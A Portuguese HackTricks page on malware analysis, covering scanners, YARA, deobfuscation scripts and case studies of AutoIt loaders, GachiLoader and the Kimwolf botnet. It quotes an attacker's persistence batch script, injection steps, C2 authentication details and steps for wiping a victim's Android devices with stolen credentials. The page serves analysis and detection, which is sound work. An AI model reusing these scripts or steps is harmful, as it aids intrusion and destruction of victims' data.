Análise de Malware
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.
CheatSheets de Forense
https://www.jaiminton.com/cheatsheet/DFIR/#
Serviços Online
Antivírus Offline e Ferramentas de Detecção
Yara
Instalação
sudo apt-get install -y yara
Prepare rules
Use este script para baixar e mesclar todas as regras de malware yara do github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Crie o diretório rules e execute-o. Isso criará um arquivo chamado malware_rules.yar que contém todas as regras yara para malware.
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
Scan
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
YaraGen: Verificar malware e criar rules
Você pode usar a ferramenta YaraGen para gerar yara rules a partir de um binário. Confira estes tutoriais: Part 1, Part 2, Part 3
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
ClamAV
Instalar
sudo apt-get install -y clamav
Scan
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
Capa
Capa detecta capabilities potencialmente maliciosas em executáveis: PE, ELF, .NET. Então ele vai encontrar coisas como táticas de Att&ck, ou capabilities suspeitas como:
- verificar erro de OutputDebugString
- rodar como um service
- criar process
Obtenha no Github repo.
IOCs
IOC significa Indicator Of Compromise. Um IOC é um conjunto de condições que identificam algum software potencialmente indesejado ou malware confirmado. Blue Teams usam esse tipo de definição para procurar esse tipo de arquivos maliciosos em seus systems e networks.
Compartilhar essas definições é muito útil, pois quando malware é identificado em um computador e um IOC para esse malware é criado, outras Blue Teams podem usar isso para identificar o malware mais rapidamente.
Uma ferramenta para criar ou modificar IOCs é IOC Editor.
Você pode usar ferramentas como Redline para procurar IOCs definidos em um device.
Loki
Loki é um scanner para Simple Indicators of Compromise.
A detecção é baseada em quatro métodos de detecção:
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
Linux Malware Detect
Linux Malware Detect (LMD) é um scanner de malware para Linux lançado sob a licença GNU GPLv2, projetado para as ameaças enfrentadas em ambientes de hospedagem compartilhada. Ele usa dados de ameaças de sistemas de detecção de intrusão na borda da rede para extrair malware que está sendo usado ativamente em ataques e gera assinaturas para detecção. Além disso, os dados de ameaças também são derivados de envios de usuários com o recurso de checkout do LMD e de recursos da comunidade de malware.
rkhunter
Ferramentas como rkhunter podem ser usadas para verificar o sistema de arquivos em busca de possíveis rootkits e malware.
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
FLOSS
FLOSS é uma ferramenta que tentará encontrar strings ofuscadas dentro de executáveis usando diferentes técnicas.
PEpper
PEpper verifica algumas coisas básicas dentro do executável (binary data, entropy, URLs and IPs, algumas regras yara).
PEstudio
PEstudio é uma ferramenta que permite obter informações de executáveis do Windows, como imports, exports, headers, mas também verificará o virus total e encontrará possíveis técnicas Att&ck.
Detect It Easy(DiE)
DiE é uma ferramenta para detectar se um arquivo está encrypted e também encontrar packers.
NeoPI
NeoPI é um script Python que usa uma variedade de métodos estatísticos para detectar conteúdo ofuscado e encrypted dentro de arquivos de texto/script. O objetivo do NeoPI é ajudar na detecção de código oculto de web shell.
php-malware-finder
PHP-malware-finder faz o melhor possível para detectar código ofuscado/dodgy code assim como arquivos usando funções PHP frequentemente usadas em malwares/webshells.
Apple Binary Signatures
Ao verificar alguma malware sample você deve sempre check the signature do binary, pois o developer que o assinou pode já estar related com malware.
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
Técnicas de Detecção
File Stacking
Se você sabe que alguma pasta contendo os files de um web server foi atualizada pela última vez em alguma data. Verifique a data em que todos os files no web server foram criados e modificados e, se alguma data for suspeita, verifique esse file.
Baselines
Se os files de uma pasta não deveriam ter sido modificados, você pode calcular o hash dos original files da pasta e compará-los com os atuais. Qualquer modificação será suspeita.
Statistical Analysis
Quando a informação é salva em logs, você pode verificar estatísticas como quantas vezes cada file de um web server foi acessado, já que um web shell pode ser um dos mais acessados.
Android in-app native telemetry (no root)
No Android, você pode instrumentar código nativo dentro do processo do app alvo carregando previamente uma pequena biblioteca logger antes de outras libs JNI inicializarem. Isso dá visibilidade antecipada do comportamento nativo sem hooks em todo o sistema nem root. Uma abordagem popular é SoTap: colocar libsotap.so para a ABI correta dentro do APK e injetar uma chamada System.loadLibrary(“sotap”) cedo (por exemplo, inicializador estático ou Application.onCreate), depois coletar logs dos caminhos internos/externos ou do fallback do Logcat.
Veja a página de reversing nativo do Android para detalhes de setup e caminhos de log:
Android/JNI native string deobfuscation with angr + Ghidra
Alguns malwares Android e apps protegidos por RASP escondem nomes e assinaturas de métodos JNI decodificando-os em runtime antes de chamar RegisterNatives. Quando a instrumentação com Frida/ptrace é encerrada por anti-debug, você ainda pode recuperar o plaintext offline executando o decoder embutido no binário com angr e depois enviando os resultados de volta para o Ghidra como comentários.
Ideia-chave: trate o decoder dentro do .so como uma função chamável, execute-o nos blobs de bytes obfuscados em .rodata e concretize os bytes de saída até o primeiro \x00 (terminador de C-string). Mantenha angr e Ghidra usando a mesma image base para evitar mismatch de endereços.
Visão geral do workflow
- Triage no Ghidra: identifique o decoder e sua convenção de chamada/argumentos em JNI_OnLoad e na configuração de RegisterNatives.
- Execute angr (CPython3) para rodar o decoder para cada string alvo e exporte os resultados.
- Anote no Ghidra: adicione comentários automáticos nas strings decodificadas em cada call site para reconstrução rápida de JNI.
Triage no Ghidra (padrão JNI_OnLoad)
- Aplique datatypes JNI em JNI_OnLoad para o Ghidra reconhecer estruturas JNINativeMethod.
- JNINativeMethod típico conforme a documentação da Oracle:
typedef struct {
char *name; // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr; // native implementation address
} JNINativeMethod;
- Procure chamadas a RegisterNatives. Se a library constrói o name/signature com uma rotina local (e.g., FUN_00100e10) que referencia uma static byte table (e.g., DAT_00100bf4) e recebe parâmetros como (encoded_ptr, out_buf, length), esse é um alvo ideal para execução offline.
Configuração do angr (execute o decoder offline)
- Carregue o .so com a mesma base usada no Ghidra (example: 0x00100000) e desative o auto-loading de external libs para manter o state pequeno.
angr setup and offline decoder execution
```python import angr, jsonproject = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
def decode_string(enc_addr, length):
fresh blank state per evaluation
st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)
Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
</details>
- Em escala, construa um mapa estático dos call sites para os argumentos do decoder (encoded_ptr, size). Wrappers podem ocultar argumentos, então você pode criar esse mapeamento manualmente a partir de xrefs no Ghidra se a recuperação da API estiver ruidosa.
<details>
<summary>Decodifique em lote múltiplos call sites com angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}
decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }
import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
Anotar call sites no Ghidra Opção A: escritor de comentários somente com Jython (use um JSON pré-computado)
- Como angr requer CPython3, mantenha a deobfuscação e a anotação separadas. Primeiro execute o script angr acima para produzir decoded_strings.json. Depois execute este GhidraScript em Jython para escrever PRE_COMMENTs em cada call site (e incluir o nome da função chamadora para contexto):
Ghidra Jython script to annotate decoded JNI strings
```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnitAsk for the JSON produced by the angr script
f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings
fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()
Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)
callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()
Write comments from JSON
for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))
</details>
Option B: Single CPython script via pyhidra/ghidra_bridge
- Alternativamente, use pyhidra ou ghidra_bridge para controlar a API do Ghidra a partir do mesmo processo CPython executando angr. Isso permite chamar decode_string() e imediatamente definir PRE_COMMENTs sem um arquivo intermediário. A lógica espelha o script Jython: construa o mapa callsite→function via ReferenceManager, decodifique com angr e defina comentários.
Why this works and when to use it
- A execução offline contorna RASP/anti-debug: sem ptrace, sem hooks de Frida são necessários para recuperar strings.
- Manter Ghidra e angr com base_addr alinhados (por exemplo, 0x00100000) garante que os endereços de função/dados coincidam entre as ferramentas.
- Receita repetível para decoders: trate a transformação como uma função pura, aloque um buffer de saída em um estado novo, chame-a com (encoded_ptr, out_ptr, len), depois concretize via state.solver.eval e faça o parse de C-strings até \x00.
Notes and pitfalls
- Respeite a ABI/convenção de chamada do alvo. angr.factory.callable escolhe uma com base na arch; se os argumentos parecerem deslocados, especifique cc explicitamente.
- Se o decoder espera buffers de saída zerados, inicialize outbuf com zeros no estado antes da chamada.
- Para Android .so position-independent, sempre forneça base_addr para que os endereços em angr correspondam aos vistos no Ghidra.
- Use currentProgram.getReferenceManager() para enumerar call-xrefs mesmo se o app encapsular o decoder atrás de stubs finos.
For angr basics, see: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)
---
## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
Famílias modernas de malware abusam fortemente de obfuscação de Control-Flow Graph (CFG): em vez de um salto/chamada direta, elas calculam o destino em tempo de execução e executam um `jmp rax` ou `call rax`. Um pequeno *dispatcher* (tipicamente nove instruções) define o alvo final dependendo das flags `ZF`/`CF` da CPU, quebrando completamente a recuperação estática do CFG.
A técnica – mostrada pelo loader SLOW#TEMPEST – pode ser derrotada com um fluxo de trabalho em três etapas que depende apenas de IDAPython e do emulador de CPU Unicorn.
### 1. Localize every indirect jump / call
```python
import idautils, idc
for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")
2. Extrair o byte-code do dispatcher
import idc
def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s
start = get_dispatcher_start(jmp_ea)
size = jmp_ea + idc.get_item_size(jmp_ea) - start
code = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)
3. Emule-o duas vezes com Unicorn
from unicorn import *
from unicorn.x86_const import *
import struct
def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)
Execute run(code,0,0) e run(code,1,1) para obter os alvos do ramo false e true.
4. Patch back a direct jump / call
import struct, ida_bytes
def patch_direct(ea, target, is_call=False):
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
Depois de aplicar o patch, force o IDA a reanalisar a função para que o CFG completo e a saída do Hex-Rays sejam restaurados:
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
5. Rotule chamadas indiretas de API
Uma vez que o destino real de cada call rax seja conhecido, você pode informar ao IDA o que ele é para que os tipos de parâmetros e os nomes de variáveis sejam recuperados automaticamente:
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
Benefícios práticos
- Restaura o CFG real → a decompilação passa de 10 linhas para milhares.
- Habilita string-cross-reference e xrefs, tornando trivial a reconstrução do comportamento.
- Os scripts são reutilizáveis: coloque-os em qualquer loader protegido pelo mesmo truque.
Loaders baseados em AutoIt: descriptografia .a3x, disfarce de Task Scheduler e injeção de RAT
Esse padrão de intrusão encadeia um MSI assinado, loaders AutoIt compilados em .a3x e um job do Task Scheduler disfarçado como um app benigno.
MSI → custom actions → orquestrador AutoIt
Árvore de processos e comandos executados pelas custom actions do MSI:
- MsiExec.exe → cmd.exe para executar install.bat
- WScript.exe para exibir uma caixa de diálogo de erro isca
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs
install.bat (solta o loader, configura persistência, se autolimpa):
@echo off
set dr=Music
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
error.vbs (isca para a vítima):
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"
Artifatos-chave e mascaramento:
- Solta AutoIt3.exe e IoKlTr.au3 em C:\Users\Public\Music
- Copia schtasks.exe para hwpviewer.exe (se disfarça como Hangul Word Processor viewer)
- Cria uma tarefa agendada “IoKlTr” que executa a cada 1 minuto
- Startup LNK visto como Smart_Web.lnk; mutex:
Global\AB732E15-D8DD-87A1-7464-CE6698819E701 - Prepara módulos em subpastas de %APPDATA%\Google\Browser\ contendo
adbouadve os inicia via helpers autoit.vbs/install.bat
Dicas de triagem forense:
- enumeração de schtasks:
schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer" - Procure por cópias renomeadas de schtasks.exe co-localizadas com Task XML:
dir /a "C:\Users\Public\Music\hwpviewer.exe" - Paths comuns:
C:\Users\Public\Music\AutoIt3.exe,...\IoKlTr.au3, StartupSmart_Web.lnk,%APPDATA%\Google\Browser\(adb|adv)* - Correlacione a criação de processos: AutoIt3.exe iniciando binários legítimos do Windows (por exemplo, cleanmgr.exe, hncfinder.exe)
AutoIt loaders e descriptografia de payloads .a3x → injection
- Módulos AutoIt são compilados com
#AutoIt3Wrapper_Outfile_type=a3xe descriptografam payloads embutidos antes de injetar em processos benignos. - Famílias observadas: QuasarRAT (injetado em hncfinder.exe) e RftRAT/RFTServer (injetado em cleanmgr.exe), assim como módulos RemcosRAT (
Remcos\RunBinary.a3x). - Padrão de descriptografia: derive uma AES key via HMAC, descriptografe o blob embutido, depois injete o módulo em texto claro.
Esqueleto genérico de descriptografia (a entrada/algoritmo HMAC exatos são específicos da família):
import hmac, hashlib
from Crypto.Cipher import AES
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
Fluxo comum de injeção (estilo CreateRemoteThread):
- CreateProcess (suspended) do host alvo (por exemplo, cleanmgr.exe)
- VirtualAllocEx + WriteProcessMemory com módulo/shellcode descriptografado
- CreateRemoteThread ou QueueUserAPC para executar o payload
Ideias de hunting
- AutoIt3.exe com parent de MsiExec.exe ou WScript.exe iniciando utilitários do sistema
- Arquivos com extensões
.a3xou executores de script AutoIt em caminhos públicos/gravaáveis pelo usuário - Tarefas agendadas suspeitas executando AutoIt3.exe ou binários não assinados pela Microsoft, com triggers em nível de minuto
Abuso de account-takeover do Android Find My Device (Find Hub)
Durante a intrusão no Windows, os operadores usaram credenciais Google roubadas para apagar repetidamente os dispositivos Android da vítima, suprimindo notificações enquanto expandiam o acesso via o messenger de desktop da vítima já autenticado.
Passos do operador (a partir de uma sessão do navegador autenticada):
- Revisar Google Account → Security → Your devices; seguir Find My Phone → Find Hub (https://www.google.com/android/find)
- Selecionar dispositivo → inserir novamente a senha do Google → emitir “Erase device” (factory reset); repetir para atrasar a recuperação
- Opcional: limpar e-mails de alerta na caixa de correio vinculada (por exemplo, Naver) para ocultar notificações de segurança
Rastreando loaders Node.js fortemente ofuscados
Atacantes cada vez mais empacotam loaders JavaScript dentro de binários Windows autônomos compilados com nexe, então o runtime é distribuído junto com o script. O PE resultante frequentemente pesa 60–90 MB e executa mesmo se Node.js não estiver instalado. Durante a triagem:
- Use
nexe_unpackerpara extrair o JavaScript embutido do PE e enviá-lo para ferramentas locais para diffing estático. - Espere um mutex baseado em disco em
%TEMP%(GachiLoader solta um arquivo aleatório<name>.lockque expira após cerca de 5 minutos). Copiar o arquivo para o sandbox antes da execução permite pular etapas redundantes enquanto ainda vê payloads posteriores.
Rastreamento da API do Node.js para derrotar anti-analysis
O Nodejs-Tracer da Check Point faz hook de módulos centrais dentro de qualquer processo Node.js, permite falsificar verificações anti-VM e preserva todo artefato que a amostra grava. Inicie scripts ofuscados através do tracer para manter instrumentação controlada pelo analista na call stack:
node -r .\tracer.js main.js
As chaves de configuração dentro de tracer.js permitem que você:
- Registre atividade do filesystem, child-process e HTTP (
LOG_HTTP_REQUESTS,SAVE_FILE_WRITES). Todo arquivo descartado — comokidkadi.node— é copiado para o diretório de trabalho antes que o malware o apague. - Substitua fingerprints do ambiente retornando contagens realistas de RAM/CPU, falsificando a saída de
taskliste alterando respostas de PowerShell/WMI. Isso contorna loaders que exigem ≥4 GB de RAM, ≥2 cores e verificam nomes de usuário (mashinesssss,wdagutilityaccount, etc.), hostnames (desktop-vrsqlag,server1…) e nomes de processos (vmtoolsd.exe,fiddler.exe,x64dbg.exe,frida-server.exe). - Neutralize verificações de hardware via WMI como
Get-WmiObject Win32_DiskDrive(procurando porvmware,kvm,virtio, …),Win32_VideoController(bloqueando “VirtualBox Graphics Adapter”, “Hyper-V Video”, etc.) e contagens deWin32_PortConnector. Quando essas sondagens reportam hardware “real”, sandboxes deixam de cair no infinite loop de chamadas benignasInvoke-WebRequestparalinkedin.com,grok.com,whatsapp.come domínios semelhantes que o GachiLoader usa para desperdiçar tempo de análise.
Capturando automaticamente o tráfego C2 com gate
Os network hooks do tracer revelam autenticação C2 em múltiplas camadas sem precisar reverter a ofuscação em JavaScript. Na campanha observada, o loader:
- Faz POST de telemetry do host para
/logem cada C2 hard-coded. - Emite
GET /richfamily/<per-sample key>comX-Secret: gachifamilypara recuperar uma URL de payload codificada em Base64. - Executa um
GETfinal para essa URL com um long per-sampleX-Secretheader; sem ele, retorna403 Forbidden.
Como o tracer registra requisições completas (headers, bodies, destinos), você pode reproduzir o mesmo tráfego para puxar payloads, despejar shells de Themida/VMProtect em memória e extrair dados de configuração do Rhadamanthys em escala.
AdaptixC2: Extração de Configuração e TTPs
Veja a página dedicada:
Adaptixc2 Config Extraction And Ttps
Kimwolf Android Botnet Tradecraft
Loader de APK e execução nativa de ELF em TV boxes
- APKs maliciosos como
com.n2.systemservice06*incluem um ARM ELF estaticamente linkado dentro deres/raw(por exemplo,R.raw.libniggakernel). Um receiverBOOT_COMPLETEDé executado na inicialização, extrai o raw resource para o sandbox do app (por exemplo,/data/data/<pkg>/niggakernel), torna-o executável e o invoca comsu. - Muitas Android TV boxes/tablets vêm com imagens pre-rooted ou
suworld-writable, então o loader inicia o ELF de forma confiável com UID 0 mesmo sem uma cadeia de exploit. A persistência vem “de graça” porque o receiver é relançado após cada reboot ou reinício do app. - Reverse engineers que procuram esse padrão podem comparar
AndroidManifest.xmlem busca de boot receivers ocultos, além de código que referenciaResources.openRawResource→FileOutputStream→Runtime.getRuntime().exec("su"). Assim que o ELF é descartado, faça triagem como um backdoor de userland Linux (Kimwolf está empacotado com UPX, stripped, estaticamente linkado, ARM EABI5 de 32 bits).
Mutexes em runtime e IOCs de mascaramento
- Ao iniciar, Kimwolf vincula um abstract UNIX domain socket como
@niggaboxv4/@niggaboxv5. Sockets já existentes forçam a saída, então o nome do socket funciona tanto como mutex quanto como artefato forense. - O título do processo é sobrescrito com nomes que parecem de serviço (
netd_services,tv_helper, etc.) para se misturar às listas de processos do Android. Detecções baseadas no host podem alertar sobre esses nomes combinados com o socket mutex.
Decodificação de strings com XOR na stack usando ARM NEON + flare_emu
- Strings sensíveis (domínios C2, resolvers, endpoints DoT) são colocadas na stack em blocos criptografados de 8 bytes e decodificadas in-place via
VEOR Qx, Qx, Qy(veorq_s64). Analistas podem usar flare_emu para capturar o ponteiro descriptografado toda vez que o decryptor o entrega ao caller:
import flare_emu
eh = flare_emu.EmuHelper()
def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))
eh.iterate(0x8F00, hook) # sub_8F00 consumes the plaintext R1 argument
- Procur por sequências
VEOR Q8, Q8, Q9/veorq_s64e emular seus intervalos faz um mass-dump de toda string descriptografada, burlando a lifetime apenas no stack do plaintext.
Resolução DNS-over-TLS mais derivação XOR de IP
- Todas as variantes Kimwolf resolvem domínios de C2 falando DNS-over-TLS (TCP/853) diretamente com Google (8.8.8.8) ou Cloudflare (1.1.1.1), contornando logging ou hijacking de DNS em texto puro.
- Bots v4 simplesmente usam o registro A IPv4 retornado. Bots v5 tratam o registro A como um inteiro de 32 bits, trocam sua endianness, fazem XOR com a constante
0x00ce0491, depois invertem a endianness de volta para obter o IP real do C2. Receita do CyberChef: Change IP format → swap endianness per 4-byte chunk → XOR with00 ce 04 91→ convert back to dotted decimal.
fallback ENS / EtherHiding
- Builds posteriores adicionam um domínio ENS (
pawsatyou.eth) cujo resolver text key"lol"armazena um IPv6 aparentemente benigno (fed0:5dec:...:1be7:8599). - O bot pega os últimos quatro bytes (
1b e7 85 99), faz XOR com0x93141715, e interpreta o resultado como um C2 IPv4 (136.243.146.140). Atualizar o ENS text record rotaciona instantaneamente os C2s downstream via blockchain sem tocar no DNS.
Canal de comando autenticado com TLS + ECDSA
- O tráfego é encapsulado no wolfSSL com um protocolo customizado em frames:
struct Header {
Magic [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8 // 0x01
MsgType uint8 // verb
MsgID uint32
BodyLen uint32
CRC32 uint32
}
- Bootstrap: o bot envia dois headers vazios
MsgType=0 (register). O C2 responde comMsgType=1 (verify)contendo um desafio aleatório mais uma assinatura ASN.1 DER ECDSA. Os bots verificam isso contra um blob embutido de SubjectPublicKeyInfo; falhas encerram a sessão, impedindo que nós C2 hijacked/sinkholed distribuam tasks para a fleet. - Uma vez verificado, o bot envia um body
MsgType=0carregando a group string definida pelo operador (por exemplo,android-postboot-rt). Se o grupo estiver habilitado, o C2 responde comMsgType=2 (confirm), após o qual o tasking (MsgType 5–12) começa. - Os verbs suportados incluem proxying TCP/UDP no estilo SOCKS (monetização de residential proxy), reverse shell / execução de comando único, leitura/gravação de arquivos e payloads Mirai-compatible DDoSBody (mesmo layout
AtkType,Duration,Targets[],Flags[]).
Ransomware com partial-encryption: nonces de stream-cipher perdidos
Algumas famílias de ransomware criptografam arquivos parcialmente por velocidade, mas quando usam um stream cipher independentemente em múltiplos chunks, cada região criptografada precisa do seu próprio nonce/IV persistido. Se a sample gera um nonce novo por chunk e sobrescreve o mesmo buffer de 12 bytes dentro do loop, e depois anexa apenas o valor final ao disco, os chunks anteriores tornam-se criptograficamente irrecuperáveis mesmo se o atacante compartilhar a key depois.
Padrão quebrado típico:
for (i = 0; i < 4; i++) {
randombytes_buf(nonce, 12); // same buffer reused each round
crypto_stream_chacha20_ietf_xor(chunk, chunk, len, nonce, key);
}
write(fd, nonce, 12); // only the last nonce survives
Referências
- Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques
- SoTap: Lightweight in-app JNI (.so) behavior logger – github.com/RezaArbabBot/SoTap
- Strategies for Analyzing Native Code in Android Applications: Combining Ghidra and Symbolic Execution for Code Decryption and Deobfuscation – revflash.medium.com
- Ghidra – github.com/NationalSecurityAgency/ghidra
- angr – angr.io
- JNI_OnLoad and invocation API – docs.oracle.com
- RegisterNatives – docs.oracle.com
- Tracing JNI Functions – valsamaras.medium.com
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions – laripping.com
- Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks
- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion – genians.co.kr
- Android Find My Device (Find Hub) – google.com/android/find
- RftRAT/RFTServer technical analysis – asec.ahnlab.com
- HMAC background – wikipedia.org/wiki/HMAC
- Kimwolf Android TV Botnet: ENS-Based C2 Evasion, TLS+ECDSA C2 Protocol, and Large-Scale Proxy/DDoS Operations – blog.xlab.qianxin.com
- Check Point Research – GachiLoader: Defeating Node.js Malware with API Tracing
- Nodejs-Tracer – GitHub
- Check Point Research – VECT: Ransomware by design, Wiper by accident
- Libsodium documentation – ChaCha20 stream cipher APIs
- RFC 8439 – ChaCha20 and Poly1305 for IETF Protocols
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Navegue pelo catálogo completo do HackTricks Training para as trilhas de assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord, ao grupo do telegram, siga @hacktricks_live no X/Twitter, ou confira a página do LinkedIn e o canal do YouTube.
- Compartilhe hacking tricks enviando PRs para os repositórios github HackTricks e HackTricks Cloud.


